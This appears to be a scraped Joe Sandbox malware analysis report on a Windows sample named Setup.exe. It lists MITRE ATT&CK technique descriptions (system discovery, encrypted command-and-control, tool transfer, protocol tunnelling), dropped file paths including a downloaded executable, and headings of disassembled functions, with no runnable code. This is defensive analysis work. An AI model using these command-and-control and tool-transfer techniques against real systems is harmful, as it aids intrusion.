Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Setup.exe_unknow_698a34cf8598190b79149657f32f46b03a22ee_206ef939_b9a1b499-2506-4301-8cc4-b0cae6c76eb6\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8F7B.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9095.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER90C5.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\bas[1].exe

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
Setup.exe

Function 00401638 Relevance: 21.4, APIs: 14, Instructions: 389
COMMON

Function 0040B5A4 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 208
stringCOMMON

Function 004024A4 Relevance: 13.8, APIs: 11, Instructions: 49
COMMON

Function 00402638 Relevance: 9.1, APIs: 6, Instructions: 77
stringCOMMON

Function 00402637 Relevance: 9.1, APIs: 6, Instructions: 63
stringCOMMON